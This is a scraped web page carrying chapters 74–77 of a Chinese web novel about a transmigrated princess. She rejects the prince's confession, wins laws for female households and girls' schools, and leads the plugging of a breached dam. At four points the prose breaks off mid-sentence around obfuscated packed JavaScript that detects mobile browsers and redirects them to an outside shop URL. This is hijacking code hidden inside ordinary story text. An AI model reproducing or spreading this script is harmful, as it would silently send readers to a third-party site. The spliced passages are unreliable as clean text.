秦澈在原地站了几秒,而后继续向前走去,他并不慌张,因为他了解慕衷情,也知道慕衷情不可能是个一离开自己就出事的人,但还是有些被丢下的怨气。 向前走,总能遇见慕衷情。 秦澈这样想着,果然没过多久便看到驻足在一个摊前的慕衷情。 她正低着头,神情认真地盯着什么。 秦澈挤到她身边,才看到摊主正在做糖人。 摊主是个很普通的中年男人,脸上有风霜的痕迹,但他的手很稳,像是有什么法术一样,金黄的糖水在他的动作下很快便成为了一只仰着头,看起来十分趾高气昂的鸡。 秦澈笑了一声,像是发现了什么好玩的事情:“你喜欢这个?” 慕衷情开心地接过摊主递过来的糖人:“嗯,当然啦,吃甜的东西可以分泌多巴胺,超级快乐,来,今天请你一个,你可以自己选,也可以在这里转一个。” 慕衷情指向一旁明显有许多磨损的转盘,秦澈认出上面的是十二生肖。 他没有去转,而是说道:“那我就要一个,狗。” “你咋不要龙啊?”慕衷情神色自然地问道,“放心,这都是避讳过的。” 秦澈看着那只小狗逐渐成形:“家中要多些烟火气,自然少不了鸡飞狗跳。” 慕衷情被他的说法逗笑,两个人拿着糖人来到了锦书她们举办的灯会,这儿包下了这儿最大的一处园子,进门处有收门票的,门票钱里包含了花灯钱,确实懂怎么赚钱。 不过在见到慕衷情时,在门口卖门票的清荷收下钱,又放在手心里借着递花灯时,将钱送还给了慕衷情,还朝她俏皮地眨眨眼。 清荷生得漂亮,但从前身世坎坷,温婉的眉目间透着不少忧郁之色,如今看起来却像是年轻了好几岁,人也活泼了许多。 慕衷情心情更好,与见过的姑娘打着招呼,她记性好,每个人的名字都记得,许多姑娘都露出受宠若惊的神情,没想到慕衷情居然还记得她们。 虽然慕衷情后来很少来折柳巷,但对于这些姑娘们来说,慕衷情才是真正救了她们的人,在她们的心里,她的地位比王爷还要高出许多。 慕衷情不熟悉这园子,很快便找了处亭子坐下,望着外头的年轻男女们拎着花灯,想要偶遇相同的那一盏。 秦澈望着手里的花灯,一坐下便吹熄了里面摇曳的烛火,放到一旁,他与慕衷情先后进来,自然不可能给相同的花灯。 “诶?锦书竟然在园子里卖花,这群小姑娘还真是有商业头脑啊。”慕衷情远远瞧见锦书,感慨道。 秦澈也轻笑道:“她们为了开铺子,也借了不少钱,自然是要想办法先将本钱赚回来的,听吴雨说,这群姑娘的干劲十足,人也机灵,总有新点子,想来是有出息的,还让我也投了点钱。” “嗯?怎么之前都没听你提过?”慕衷情颇为意外,他还以为秦澈并不关心这里的事情。 “都是小事,你心里装着这么多事,事事都要知会你,你也累。”秦澈说着,状似不经意地问,“今日这里也有许多年轻英俊的男子,你就只是看个热闹?” 慕衷情白他一眼:“我现在可是有夫之妇,怎么能乱搞,这点原则还是有的好吧。” 秦澈忽然沉默了,沉默的时间长到慕衷情都发觉了不对劲。 “你怎么了?”慕衷情问。 秦澈摇摇头,示意自己没事,目光望向园中充满好奇与期待的年轻男女。 月上柳梢头,人约黄昏后。 良久,秦澈自嘲一笑:“轻云,你始终自由,而我也从来留不住你,对吗?” 慕衷情微微直起身子,向来迟钝的她此刻却好像一下子就理解了秦澈的意思。 她震惊地看向秦澈,秦澈也在这时望了过来。 他的眼里有释然,有无奈,也有期盼。 慕衷情下意识地避开了他的目光,无论是前世还是今生,她都没有考虑过个人问题,之前是因为太忙,没有时间考虑,而现在,则是因为她不喜欢这个世界,她不认为自己会在这个世界,遇见志同道合的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598428|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一半。 可秦澈确实帮她许多,她斟酌了好一会儿,才道:“无论我是否要选择与一个人在一起,我都是自由的,王爷,我一个人的力量太渺小了,我现在做的那些事情,没有哪一件不需要其他人帮忙,所以我也不会轻易离开,但我确实没有要找一个归宿的想法。” “我知道的,你与其他人都不同。”秦澈似乎已经调整好了情绪,语气十分平静。 慕衷情手搭在栏杆上:“王爷,我只是来自于另一个世界,可能你也只是感到一时新奇。” 秦澈极短促地笑了一声,让人分不清其中意味:“你只是不信,我真的心悦于你。” 慕衷情的手指抠着栏杆,她其实很想立刻逃离这种尴尬的场面,但她又明白应当和秦澈说清楚,否则这可能会影响他们以后的合作。 “那对王爷来说,心悦一个女子应当如何?极尽怜惜和宠爱?”慕衷情反问道。 秦澈的语气中带上了些许疑惑:“难道不该吗?” “在我们的那个世界里,有人说过这样一句话。”慕衷情不自觉地带上笑意,“妇女能顶半边天,虽然这世上没有绝对的平等,但有很多人在为了实现相对的平等,去创造价值,实现价值,在我看来,爱情应该是平等地欣赏与尊重,是两个灵魂的相互吸引,而在我的要求里,我希望我的另一半,是与我志同道合的人,有一样的理想和信仰。” 慕衷情没有明确地说出来,但秦澈却听懂了,她认为自己不懂她,不懂平等地欣赏与尊重,不懂她的理想与信仰。 秦澈在那么一瞬间,迫切地想要为自己辩解,但只是张了张嘴,眼神便茫然起来。 他想,至少有一点慕衷情确实说对了,他不懂她的理想与信仰。 一开始,他对她的纵容,是为了三年之约,后来,他逐渐被她的乐观、善良和永远昂扬的生命力所吸引,又多了一些讨好的私心。 细细想来,他好像真的一直在试图证明,自己会尊重慕衷情的想法,相信她的能力,但归根究底,无非是慕衷情所做的事,于他的最终目的有利,能为他获取民心,甚至壮大清州军。 “如果我想了解你的理想与信仰,你会告诉我吗?”秦澈问,他的私心是真,感情也是真。 人是复杂的,他也不例外。 慕衷情这时才再次望向他:“可以,但是王爷,你是这个时代的王爷,我的理想,于这个世界是完全不同的,甚至是颠覆的。” 她顿了顿,也带上了自己的私心:“在我们的历史中,有一个女皇帝,在我们的时代,没有皇帝,男女都能读书,都能去追求自己的事业。” “就像那些被你救下的姑娘?”秦澈问,大概是慕衷情有过太多让他惊愕的想法,此时听到这些,他竟也不觉得太过讶异。 慕衷情扬起笑容,明媚自信:“不止是她们,我要帮的,是全天下的女子,包括我自己。” 秦澈似是被她感染,也带上笑意:“你?你也需要被救吗?” 慕衷情突然张开手臂,脸上满是感怀与欣慰:“当然,我在很努力很努力很努力地不讨厌自己,我要千万次,千千万万次地救自己于世俗的偏见,生活的苦难之中。” 秦澈目光愈加复杂,心中涌上些难言的滋味,像是心疼,更多的却像是敬佩:“你成功了。” 慕衷情坚定道:“对,我成功了,也会一直成功下去。” 74. 七十四、 那一晚的对话,秦澈好像真的听了进去,他开始比以往更频繁地跟在慕衷情身边,去观察慕衷情所做的每一件事。 清州的春天也并不温暖,但慕衷情见天气不错,便将继续修路的事宜交给了司岳和蔡书霖去办,她则开始着手准备律法修订大会,如今舟安农户都有了自己的地,再发生些纠纷,处置起来便不像从前那样简单,毕竟已经无法可依。 但一步也不能吃成个胖子,所以慕衷情定下了此次大会的三项主要议题:关于舟安土地分配以及矛盾纠纷的条例修订、新增成立女户的条件以及流程条例、新增建设免费学堂以及女子上学的相关条例。 这也目前她最想要解决的三个问题。 慕衷情叫人通知了如今还留在舟安的几个大户,而后又和司岳一家家去拜访城里稍有名气的人物,品德高尚的请几个,工匠能手请几个,不同行业的个体户请几个,农户请几个,状师请几个,折柳巷的姑娘也请了几个,总算凑出了四十九人的数量。 这场大会总共开了七天才结束,第一个议题倒是顺利,每个人都踊跃提出自己的意见和想法,最终由慕衷情决策。 但一提到要成立女户,女子也可单独开户,可以和男子一同上学,许多人便不乐意起来,认为女子无用,只要操持家中即可,慕衷情都不用给锦书几人使眼色,她们便立刻拍案而起,一点也不温柔不贤惠不轻声细语地痛斥那些激烈反对的人。 一个屠户道:“女子力弱,单独开户,如何养活自己?” 锦书叉着腰,一脚踩在凳子上:“我力弱,但我拿把扫帚照样能把你打得屁滚尿流,扫帚就不行就钉耙,锄头。” 一个老儒生道:“胡闹!你当其他人都是你这般烟花女子,不知廉耻,抛头露面!” 竹露扬起下巴,她年纪小,人却机灵得很:“好你个迂腐老头,我们姐妹靠自己的双手和聪慧挣钱,抛头露面又如何?若是男子见到我们便生了邪心,怎不说你们男子天生淫邪,该阉了才对?王妃姐姐为舟安做了这许多,难道你也认为王妃不知廉耻?” 又一个状师道:“姑娘可不要胡乱攀扯,给人安罪名,给女子开女户,我倒是认为并无不可,但女子与男子一同读书上学却是万万不可,谁知那些女子成天与男子厮混在一起,会不会做出什么有损名节的事情,怕是要出乱子。” 清荷以帕掩唇轻笑,悠悠道:“怎么出了乱子都怪女子?难道男子的圣贤书都读到狗肚子里了?” …… 慕衷情优哉游哉地听着她们三人舌战群儒,见所有人都越发激动后,才慢悠悠地开口:“今日大家都累了,此事明日再议吧。” 说完,慕衷情朝锦书三人投去赞赏的目光,给她们竖了个大拇指。 她这般正大光明地偏爱,让其余人等都面面相觑。 说到底,这里的根本社会结构还没有改变,她的站队,就是施压。 果然,第二日再议时,已有大半人倒戈,赞同设立女户,但仍设置了些条件,比如要开设女户,需得不曾婚配嫁人或和离丧夫,否则依然要归入丈夫的户头,这点慕衷情没有再争,只要有了女户,便会有曾经才能无处施展的女子来申请,到时候只要慕衷情多多帮扶她们,自然会有越来越多的女子想要开设女户。 至于女子上学的问题,吵到最后,双方各退一步,女子可以上学,但需要将男女学堂分开来办。 这本就是慕衷情的目的,一开始说让男女共同上学只是一种方式,拆屋效应诚不欺她,要想开个窗,就得说要拆了房子。 在慕衷情的安排下,所有事情都有条不紊地推进着,秦澈将设立女户的条令率先向全清州推广,这可是说是最简单的一条,也是最挑战认知,又最温水煮青蛙的一条。 女子上学的事情除了修建更多学堂,也需要更多的女夫子,书籍、桌椅、各项人员雇佣的费用都是不小的开支,一时间要清州所有地方都办起女子学堂确实存在诸多困难,若是当地官员为了完成任务,反而借此搜刮民脂民膏,那反而得不偿失。 入夏时,舟安四处城门外的路已经修好,比起从前更为平整,不再泥泞,官道直通其他州府,如此一来,与四方州府的经商往来就更为方便。 七月,舟安田地均已完成水稻的插秧和移栽,好不容易盯着烈日结束农忙,却又迎来了连绵几日的大雨。 这天,慕衷情正坐在檐下看雨打荷花的美景,司岳拿着把滴水的雨伞跟在秦澈的身后朝慕衷情走来,他们的还带着一个身形有些佝偻的老人。 “轻云,这位是孙老,年轻时做过水官,近日多雨,他观天象水文有异,特来禀报。”秦澈走到慕衷情身边,简单解释道。 慕衷情抬头看了他一眼,问道:“孙老?您观测到什么异象了?” 孙老俯首作揖:“今年的舟安江水位上升得比往年都要快,若是这雨再下下去,怕是又会有涝灾,还请王爷与王妃提前加固堤坝。” 慕衷情垂眼沉思道:“你为何会来王府通报此事?若是我们不信呢?” 孙老露出无奈的笑:“说实在的,清州有涝灾,大伙儿都见怪不怪了,往年王爷赈灾也及时,不曾苛待百姓们,只是这两年,舟安与从前不同了,百姓也与从前不同了,老夫就想试一试。” 试一试什么呢?大概是王府是不是真的有了如他们夸赞那样的良心。 慕衷情又看向秦澈,不带感情地问:“你是王爷,你本可以做主,为何还要带人来见我?” 秦澈倒是很坦然:“舟安的变化皆因你起,我想这样的大事不该不让你知道,你懂得比我多,说不定有你在,就能多救下几个百姓。” 慕衷情又低下头,不知在想些什么。 良久,她终于道:“既然如此,还希望孙老可以与舟安的其他水官一起继续观测水文,随时将情况记录并上报,上报的文书除了记载水文外,还必须有你们的判断,同时王爷可派人加固堤坝,通知江边百姓及时迁移,待过了这阵再回去,另外,多准备沙袋以备不时之需。” 她说完,秦澈等了一会儿,又问:“还有吗?” “我想想。”慕衷情沉吟道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612141|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “让舟安守军做好准备,一旦决堤,要与我一同去救灾。” “好,便先如此。”秦澈对司岳道,“司岳,你去负责军中事宜,同时安排守军帮助百姓撤离江边,先行安置。” 司岳拱手道:“是。” 秦澈又对孙老道:“至于水文,便拜托孙老了。” 孙老立刻应下,走之前,又对慕衷情作了一揖。 他来找的,他试图相信的,本就是慕衷情,而不是秦澈。 司岳和孙老都领命离去,秦澈坐到慕衷情的身边,像是开玩笑般说道:“如今在他们的眼中,你倒是要比我更会治理舟安了。” 若是换了姜喧说出这样一番话,慕衷情就该战战兢兢地跪下以表忠心了,但他是秦澈。 连日的雨让慕衷情的心情不太好,她有些恹恹地说:“王爷说笑了,我看这几月王爷为了学堂的事也是尽心尽力,来年那些女孩上学时,定然会感谢王爷的。” 秦澈有些忧心:“你这几日似乎不太高兴,可是有什么心事?” 慕衷情伸出手,接住不少雨珠,手很快就被打湿:“清州的雨太多了些,下得人都没什么斗志了。” 秦澈思忖一会儿,蓦地起身道:“走,我带你去一个地方。” “诶?”慕衷情还没反应过来,便被秦澈拉着离开。 好歹相处这么久,秦澈还是了解慕衷情的,他拿了一把伞,带着慕衷情来到了从前来过的田庄。 只是此时,这些地并不只属于一个人了,连日下雨,那些原本整齐笔直的排水沟塌了不少泥,沟里都蓄满了水,田里有不少人都在弯腰铲堵住水流的泥,以免自家的田被淹了。 虽说种的是水稻,更喜欢潮湿一些的环境,可也不能一直这么泡在水里。 但除了穿着蓑衣的农户外,慕衷情眼尖地瞧见还有不少年轻男女,她略一思索,问身边的秦澈:“是你喊人来帮忙了吗?” “嗯,我虽不事农务,但毕竟是土生土长的清州人,了解这里的天气和可能出现的灾情,所以我一直让人盯着城外的农田,发现被淹了之后就立刻让守军一起去帮忙了。”说着,他像是邀功般道,“我是不是也有进步了?” 慕衷情失笑,她当然知道秦澈问这一句的意图是什么,但她依然没有给出肯定的答案。 “处理得很及时,但主要是那些观测田地情况的人没有渎职,及时汇报,还有这些子弟,嗯,普通士兵们,愿意听你的话去帮忙。”话虽如此,慕衷情脸上还是带了笑容,“但是还是谢谢你,我确实很乐意看到这样的场景,军民一家,团结友爱。” 慕衷情虽低落了几天,但手上的事情是一件没落下,知道秦澈盯着田地那边后,她又将重心放到学堂的事宜上,作为学堂的闲置院落倒是有,但里面都要重新布置,最令人头疼的,还是如何去招夫子,但如今前景不明,如何招到女夫子便是一个大问题。 一连几天忙于挑选学堂书籍的慕衷情再次见到司岳时,却见她一身泥垢,满脸焦急。 “王妃,不好了!大坝决堤了!” 75. 七十五、 大坝决堤,无论是现代还是古代,都是一件关系到无数百姓性命的大事。 慕衷情立刻丢下手中的书籍,当着司岳的面就开始解腰带:“什么时候决堤的?现在情况怎么样?” 她边脱下身上的罗裙,去拿短褐换上,边让司岳不要急,将情况仔仔细细告知于她。 司岳见状,连忙关上房门,咽了咽口水努力平静道:“就在半个时辰前,我将在现场的人安置好后便立刻回来找王妃您了,大坝本来就因为连日的雨冲出了些缺口,我本是带人去堵那缺口的,可是水流太急了,有人,有人就这样被冲走了,我根本来不及救。” 司岳说着,声音有些哽咽,毕竟是她带去的人,就这么死在她眼前,那些人被水流淹没前还努力伸着手想要活下来。 可是她一个也没能抓住。 慕衷情将头发固定好,上前抱住司岳:“司岳,我知道你很伤心,所以你要将那些人的名字记下来,要给他们家里抚恤,而现在,我们要去堵住决堤口,要让他们的牺牲有价值,要保护好剩下那些还活着的人。” 慕衷情的声音温柔却坚定,司岳很快便止住抽泣,她又多拿了一把伞递给慕衷情,两人一起冲进了雨幕之中。 来到决堤的大坝附近时,慕衷情便看到清州军正在疏散附近的百姓,她跑到秦澈身旁,如瀑的雨还在冲刷着堤坝,决口越来越大。 雨声、哀嚎声交杂在一起,让慕衷情不得不提高音量问道:“准备好的那些沙袋放哪里了?” 秦澈指了一个方向:“就在那儿,但是雨太大了,现在过去太危险!” 慕衷情却毫不犹豫地将伞塞到他手中:“不行!现在就要去堵决堤的口子,否则江边的房屋、百姓、田地会受到更大的伤害!” 说着,她跑到雨中,很快便全身湿透,她大声喊道:“清州军的男儿,都与我一同去堵决堤口!” 她声嘶力竭地呐喊,却见那些人停下了离开的脚步,在原地踌躇着。 慕衷情咬牙,她知道这些人不是她心中的军队,也不怪他们此时的犹豫。 只是心中多少还是有些失望,被雨浇透,她抹了一把脸,发现自己的手竟然在发抖。 但她只是等了一会儿,见大家没有过来,便只身跑向沙袋堆放的方向。 就在这时,秦澈跑过来拉住她,神色严肃而担忧:“慕衷情,现在过去你会死的!” 慕衷情又冷又紧张,她当然也会害怕,可她始终坚定:“我慕衷情这一生,只可以死在追随信仰的路上,我可以为民而死,可以为国而死,但绝不可能面对这样的场景袖手旁观,明哲保身!” 说罢,她果断地甩开秦澈的手,神色冷漠:“秦澈,你如果拦我,我会恨你一辈子。” 一句话让秦澈再次伸出的手僵住。 平心而论,秦澈不算没有仁心的人,但对于他来说,那些随他作战的士兵,是更为重要的兄弟们,平日里帮忙可以笼络人心,可真到了这种场面,他到底是存了私心。 秦澈的手颓然落下,他又一次无比清晰地看到了自己与慕衷情的差距,明白了她曾经说过的那些话。 就在他思绪纷杂之时,慕衷情已经扛起沙袋,纵身跳入湍急的河流之中,她的牙齿控制不住地打颤,却还是扛着沙袋放到缺口之上。 只是这还远远不够,她又艰难地往后走,准备再去扛下一袋。 就在她回去的路上,她看到司岳丢了伞,如她一般扛起了沙袋,随后是她许久不见的陆霜雪。 此时的陆霜雪冷着脸,没有一点儿之前的柔弱之态,只是她一直以来被训练的都是勾引人的媚态方法,力气还比不上司岳,只能拖着沙袋走。 慕衷情抹了一把脸,眼睛有些红,嘴角泛起浅浅的笑意,继续向前。 与此同时,锦书带着一群姑娘们叽叽喳喳地跑来:“对,就在那儿,慕姐姐就在那儿!快,跑快点去帮忙!” 一群每日总爱将自己打扮得精致漂亮的小姑娘们,此时却都穿着自己最朴素的衣裙,发簪首饰也都取下。 她们的力气不够,便自发地两人一组,抬着沙袋往江中跳。 秦澈一言不发,将手中的伞收拢,放到一旁,又将衣袍掀起扣在腰间,沉默地与她们一起扛起了沙袋。 见状,那些本要离开的百姓都开始往回走去,而那些本来犹豫的士兵们也在此时有了决断。 其中一人上前拉住百姓们,大声道:“你们先回去,这里就交给我们清州军吧!我们会守好舟安!守好清州!” “守好舟安!守好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623883|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清州!”陆陆续续有人开始喊出同样的话语,像是要告诉所有人,也像是在让自己坚定。 他们齐齐跑向那决堤口,身旁不只有自己的同袍战友,还有那些尚未离去的百姓。 “咳咳咳。”慕衷情被那水流一推,差点没有站稳,呛了几口水,手立刻抓紧了沙袋,生怕自己被冲走。 就在这时,一声尖叫从旁边传来,陆霜雪半个身子都被冲了出去,如果不是反应快,手抓到了一个沙袋,此时怕是已经被江水吞没。 慕衷情立刻伸出手抓住她的手臂,费力说道:“别怕,抓紧了。” 她话音刚落,几双被水泡得发白的同样抓住了陆霜雪,慕衷情余光瞥见是锦书带来的几个姑娘。 “一二三,用力拉!”慕衷情用力喊道,脖子上青筋暴起,与几个姑娘一同将陆霜雪拉了回来,而后几人拉着手,一起平稳地走回岸上。 陆霜雪脱力般地倒在岸上喘息,心跳如擂鼓,她刚想向慕衷情道谢,便见数不清的人在雨中扛起了沙袋,慕衷情见状便开始指挥所有人有序走向堤坝缺口的位置,千万不要发生冲撞、踩踏,或是绊倒其他人。 陆霜雪愣愣地听着慕衷情嘶哑的声音,收回了想要拉住慕衷情的手,她又咳了两声,然后安静地起身,继续去搬沙袋。 很快,她就看到慕衷情也重新扛起沙袋,陆霜雪抿着唇,泪水和雨水混在一起,早就分不清了。 不知道过了多久,陆霜雪早就已经筋疲力尽,只靠着意志力强撑着,她忽然听到一个响亮却沙哑的声音:“堵住了!缺口堵住了!” 陆霜雪一下子跌坐在地,大声哭了出来,是害怕是疲惫也是兴奋。 她的哭声没有引起任何人的注意,因为所有人都在抱头痛哭,不一会儿有人大笑起来。 他们就像疯子一样又哭又笑,把最后一个人拉回到岸上,慕衷情又叫了许多人的名字,陆霜雪每一个都记得,都是折柳巷的姑娘们。 确认大家都安全之后,慕衷情扬起了一个笑容,骤然倒下。 秦澈就在身旁,立刻接住了她瘫软的身子,所有人都围了上来。 迷迷糊糊间,慕衷情似乎听到有很多人在喊她。 有人喊她慕王妃,有人喊她慕姐姐,也有人喊她慕衷情。 76. 七十六、 慕衷情醒来时,天已经晴了。 她懵了许久才撑起仍旧酸痛的身体,揉了揉额头,一张口嗓子疼得厉害,右手臂也是一动就疼。 慕衷情有点无语,虽然不知道发生了什么,但还是觉得自己这身子也太弱了些。 她咳了两声,立刻有人端着水上前:“来,喝点水。” 慕衷情顺着那双满是茧子的手看过去,是秦澈。 “我昏了多久?”她喝了一小口水,问道。 “不久,刚好一天一夜。”秦澈又是无奈又是心疼,“大夫说你是太过紧张加疲累,才会突然晕过去,还有你的手,应当是救人时拉伤了,不过不算太严重,好好休养一段时日便可。” 慕衷情又出神地望着外头的阳光,慢慢地开口:“雨停了,都,都好了吗?” 秦澈坐到床边,拿起药碗,刚想拿勺子喂慕衷情喝药,便见慕衷情突然一把夺过药碗,一口气喝了下去。 喝完之后她干呕两声,皱着脸道:“有糖吗?这也太苦了。” 秦澈失笑,拿出早就准备好的蜜饯递给她:“雨停了,他们正趁着天晴,江水没有这么急,在抢修堤坝,你放心,现在大伙儿都干劲十足,不过大家也都很担心你。” 慕衷情连忙吃下蜜饯,等着甜意压过苦意:“那你替我向大家报个平安,我也是没想到,才淋了这点雨,就晕了这么久,我明明有在锻炼啊,看来还是不够,得加练。” 秦澈笑得无奈,又满目温柔:“她毕竟是慕府的小姐,便是冷待了些,到底也是好好养着的,娇弱些也正常,不过你再多折腾几年,应该就不同了。” 慕衷情又休息了一天,精神便恢复得差不多了,她现在不仅要练八段锦了,还要打太极,立志要把身体素质再往上提一提。 她又去江边走了一趟,见大家有序地干着活,加固堤坝,便想安静地离开。 谁知,一个小孩突然指向她:“娘,你看,那是仙女姐姐!” 慕衷情不明所以地看来看去,最终确认小孩说的是她。 她还在迷惑为什么那孩子要喊她仙女姐姐,便见小孩的母亲眼睛一亮:“是王妃!是慕王妃来了!” 这一喊,大家的目光就集中到了慕衷情身上,她本来就只是想来看看情况,好安心一点,身边都没带人,谁知所有人突然都朝她跪了下去。 “参见王妃!参见王妃!”声音并不整齐,却充满了热切。 慕衷情连忙上前,想要扶起离自己最近的一个老人:“你们,你们别这样,都起来吧,我只是来看看,没什么别的意思。” 那老人看着精瘦,力气却很大,没让慕衷情给拉起来,他几乎是声泪俱下地说:“王妃是神仙下凡啊,只有神仙下凡才会这般心善,王妃心里装着我们这些人啊!” 慕衷情不知道的是,两天前她毫不犹豫纵身跳入江中的场景早已被在场的人,绘声绘色地传了出去,整个舟安都在说她就是神仙下凡,救苦救难。 等到她好不容易告别这些工匠和百姓,回到王府时,就见王府门口也围满了人,这回她谨慎了不少,躲在一旁没有太靠近。 也不知道他们是听闻了什么消息,手中要么拿着菜篮要么用布包着什么,在王府们翘首以盼。 不一会儿,大门打开,竟然秦澈走了出来。 一见到他,百姓们抬起手将带来的东西托起,然后跪倒在地。 秦澈朗声道:“各位不必多礼,王妃如今已无大碍,以她的仁善,必不愿意见你们这般劳心劳力,也不会愿意收你们辛苦种出来的食物,大伙儿都回去吧。” 其中一人道:“王妃真的已无大碍吗?” “放心,王妃这几日已然大好。”秦澈道。 “那就好,王妃无事就好。”大伙儿互相说着,站了起来,但仍然想要将手中的东西送出去。 慕衷情见状,还是现身小跑了过去。 “这么热闹呀,大家是来探望我的吗?”慕衷情绕着他们跑了一圈,吸引了所有人的目光,才到王府门前站定,“我真的已经完全好了,在这儿跑几圈都不喘,大家都放心,我在王府不会缺吃少穿的,倒是你们一年到头辛辛苦苦种出来的粮食,我怎么有脸面收下,大伙儿都回去吧,只要你们过得好,我就好,若是拿了你们的东西,便是我的罪过了。” 她这一番话说完,那些百姓们才面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639089|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面相觑地放下手,随后在慕衷情的努力劝说下,陆陆续续地离去。 回到王府之后,慕衷情状似不经意地说:“幸好我身边的人是你,若是换了个小心眼的,今日我怕是要被记上一笔了。” 秦澈盯着她好一会儿,才道:“你不必如此试探我,我并不是不能容人之人,再者,你做的是好事,我不会是非不分。” 慕衷情摸摸鼻子:“我自然知道你不会是非不分,但是……害,算了,就这样吧,我还有许多事要忙,实在不想勾心斗角。” 秦澈无奈地转移了话题;“大坝虽已在重新加固,但是依然有不少村庄被洪涝侵袭,我已派人去逐一排查,安置,还有,我将你之前在军营写的那些句子都贴到了附近的村庄,大灾之后必有大疫,我不知这是否有用,但我想或许你的方法应该能让疫病少些。” 慕衷情一拍脑袋:“对啊,我真是烧糊涂了,竟然忘了防疫,除了这些,你让他们注意,不要食用被洪水泡过的食物,衣物也要用干净的水洗完之后再穿,其他一些锅碗瓢盆也一样,如果有人有疫病的症状,要及时找大夫去查看,及时隔离安置。” “好,还有吗?”秦澈完全信任的目光让慕衷情愣了愣。 不过她很快就整理好了思绪:“其他暂时没有,不过尽量发动一下群众,呃百姓,就是让他们不要瞒报,要告诉他们事情的严重性,同时让他们相信,我们一定会尽全力帮助所有人。” 之后几日,慕衷情将防治疫病发生的各种注意事项告诉了蒋羽,蒋羽又多补充了一向熏蒸衣物的流程,之后便选了几名医官去安置区宣传这些事项,还安排了每日免费坐诊,不收诊费,只收药钱,若实在没钱,还可以写欠条赊账。 慕衷情好不容易能趁这段时间喘口气,去想想接下来的安排。 就在她难得闲下来,在院子里又回忆了一遍军体拳时,秦澈步履匆匆地疾走而来,脸上带着与平常的冷静内敛截然不同的兴奋。 他眸光明亮地望着慕衷情:“一年多前派出去的商队,回来了一支!” 慕衷情立刻站正身子:“他们可带回了什么?” “稻种!他们带回了稻种!” 77. 七十七、 秦澈本想让商队的人收拾好自己再来王府汇报这一年的所见所闻,但慕衷情认为他们舟车劳顿,劳苦功高,应当先好好休息。 虽然慕衷情自己也很心急,可还是对秦澈说道:“不着急,先让他们休息一晚,明日我们直接去驿馆找他们。” “嗯,不过他们一回来便呈上了稻种,你可要看看?” 慕衷情猛猛点头。 商队带回来了两桶种子,但慕衷情随便一翻,就发现颜色鲜亮程度不太一致,应当是路上耗费了太长时间,气温湿度一直在变化所致,有的暗了一些,用牙咬一下也不碎,估计是泡了水。 慕衷情将颜色较为鲜亮,整体形状较为饱满的稻种指给院子里的丫鬟仆人们看,让他们一起帮忙将更好的种子挑了出来放成一堆。 她看了看天气,最近这两天又有要下雨的征兆,想了想说道:“这些种子都先收到库房里好好保存,这些有点受潮的,先晒晒,若是下雨了要及时收起来,大家一起帮忙盯着点,这两天辛苦一下。” 所有人都干劲满满,毕竟跟在慕衷情身边,除了日常起居,几乎不会被派到什么辛苦活儿,慕衷情对所有人都和颜悦色,也从来不会动不动就责罚下人,如今她声望极高,便是王府里的人也都极其钦佩她,难得有差事派给自己,大家都乐意得很。 芸儿好奇地问:“王妃,这些种子有什么特别的吗?” 慕衷情蹲下身,拿了一把种子:“这些是商队带回来的稻种,现下还不知道到底如何,但总要试试才好,若是这稻种好,往后也可以种两季稻谷,不必费心研究小麦在清州的种植方法。” 说着,她有些惆怅:“而且去年大雪,冻死了不少小麦,收成并不好,这里还是更适合种稻子,希望这稻种,不要让人失望。” 喜儿道:“王妃如此心善,想必上天也一定不舍得让王妃失望的。” 慕衷情笑着摸了一把喜儿的脑袋:“那就借你吉言了。” 翌日,慕衷情与秦澈穿着常服来到商队歇脚的驿馆,商队几人在院子里恭恭敬敬地迎接。 秦澈告诉慕衷情,商队出发时五十六人,如今只回来九人。 他给了那些再也没回来的人的家人不少的抚恤金,也希望他们能够重新组织起一支队伍,去带回更多的稻种,打开商贸往来。 落座后,慕衷情询问他们这一年都经历了什么。 一年之前,秦澈为了保证最后能带回慕衷情所说的那种稻种来,其实一共派了三支商队,但只回来了这一支。 